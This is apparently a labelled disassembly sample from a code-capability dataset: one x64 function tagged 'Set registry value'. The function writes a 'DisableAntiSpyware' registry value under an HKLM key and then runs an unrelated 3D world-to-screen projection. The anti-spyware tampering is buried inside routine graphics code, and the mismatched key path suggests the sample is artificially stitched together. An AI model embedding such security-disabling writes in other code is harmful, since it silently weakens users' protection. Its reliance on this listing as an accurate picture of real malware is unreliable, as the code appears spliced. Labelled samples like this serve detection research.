Function at 0x1400029a0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x38], xmm7
mov rdi, rcx
movaps xmmword [rax - 0x48], xmm8
mov rbx, rdx
mov rax, qword gs:[0x58]
mov ecx, 4
mov r8, qword [rax]
mov eax, dword [rcx + r8]
cmp dword [0x140047e78], eax
jle 0x140002a10
lea rcx, [0x140047e78]
call fcn.14000c8f8
cmp dword [0x140047e78], 0xffffffff
jne 0x140002a10
mov rax, qword [0x140047de8]
lea rcx, [0x140047e78]
mov qword [0x140047e98], rax
call fcn.14000c88c
mov eax, dword [0x140047df4]
lea rdx, str.SOFTWAREMicrosoftClipboard
mov dword [rbp - 0x49], eax
xor esi, esi
mov rax, qword [0x140047e98]
mov r9d, 0xf003f
add rax, 0x24c
mov qword [rbp - 0x31], 0x40
mov qword [rbp - 0x39], rax
xor r8d, r8d
lea rax, [rbp - 0x29]
mov qword [rbp + 0x6f], rsi
mov qword [rbp - 0x41], rax
mov rcx, 0xffffffff80000002
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp + 0x6f]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140002ab8
lea rax, [rbp - 0x49]
mov dword [rsp + 0x28], 8
mov qword [rbp - 0x51], rax
lea r9d, [rsi + 0xb]
lea rax, [rbp - 0x59]
mov dword [rbp - 0x59], esi
mov qword [rbp + 0x77], rax
lea rdx, str.DisableAntiSpyware
lea rax, [rbp + 0x77]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140002acb
lea rdx, str.Registry_error_n
lea rcx, [0x140046430]
call fcn.1400066e0
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x29]
call qword [sym.imp.d3dx9_43.dll_D3DXMatrixTranspose]
movss xmm3, dword [rbx + 4]
movss xmm8, dword [rbx]
movaps xmm0, xmm3
mulss xmm0, dword [rbp - 5]
movaps xmm7, xmm8
mulss xmm7, dword [rbp - 9]
movaps xmm2, xmm8
mulss xmm2, dword [rbp + 7]
movss xmm4, dword [rbx + 8]
addss xmm7, xmm0
movaps xmm1, xmm4
movaps xmm0, xmm3
mulss xmm1, dword [rbp - 1]
mulss xmm0, dword [rbp + 0xb]
addss xmm7, xmm1
movaps xmm1, xmm4
mulss xmm1, dword [rbp + 0xf]
addss xmm2, xmm0
movss xmm0, dword [0x14003ebd8]
addss xmm7, dword [rbp + 3]
addss xmm2, xmm1
addss xmm2, dword [rbp + 0x13]
comiss xmm0, xmm2
jb 0x140002b49
mov qword [rdi], rsi
jmp 0x140002c09
mulss xmm8, dword [rbp - 0x19]
xor ecx, ecx
mulss xmm3, dword [rbp - 0x15]
mulss xmm4, dword [rbp - 0x11]
addss xmm8, xmm3
movaps xmmword [rsp + 0xc0], xmm6
movss xmm6, dword [0x14003ebe8]
divss xmm6, xmm2
addss xmm8, xmm4
addss xmm8, dword [rbp - 0xd]
mulss xmm8, xmm6
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm2, dword [0x14003ebdc]
xorps xmm0, xmm0
mov ecx, eax
mulss xmm6, xmm7
mov eax, ebx
cdq
movaps xmm1, xmm8
mulss xmm1, xmm2
sub eax, edx
sar eax, 1
cvtsi2ss xmm0, ebx
mulss xmm6, xmm2
mulss xmm1, xmm0
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
addss xmm1, xmm2
addss xmm1, xmm0
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm1, xmm8
mulss xmm6, xmm0
movss dword [rdi], xmm1
addss xmm6, xmm2
xorps xmm1, xmm1
cvtsi2ss xmm1, eax
subss xmm1, xmm6
movaps xmm6, xmmword [rsp + 0xc0]
movss dword [rdi + 4], xmm1
lea r11, [rsp + 0xd0]
mov rax, rdi
mov rbx, qword [r11 + 0x20]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rdi
pop rsi
pop rbp
ret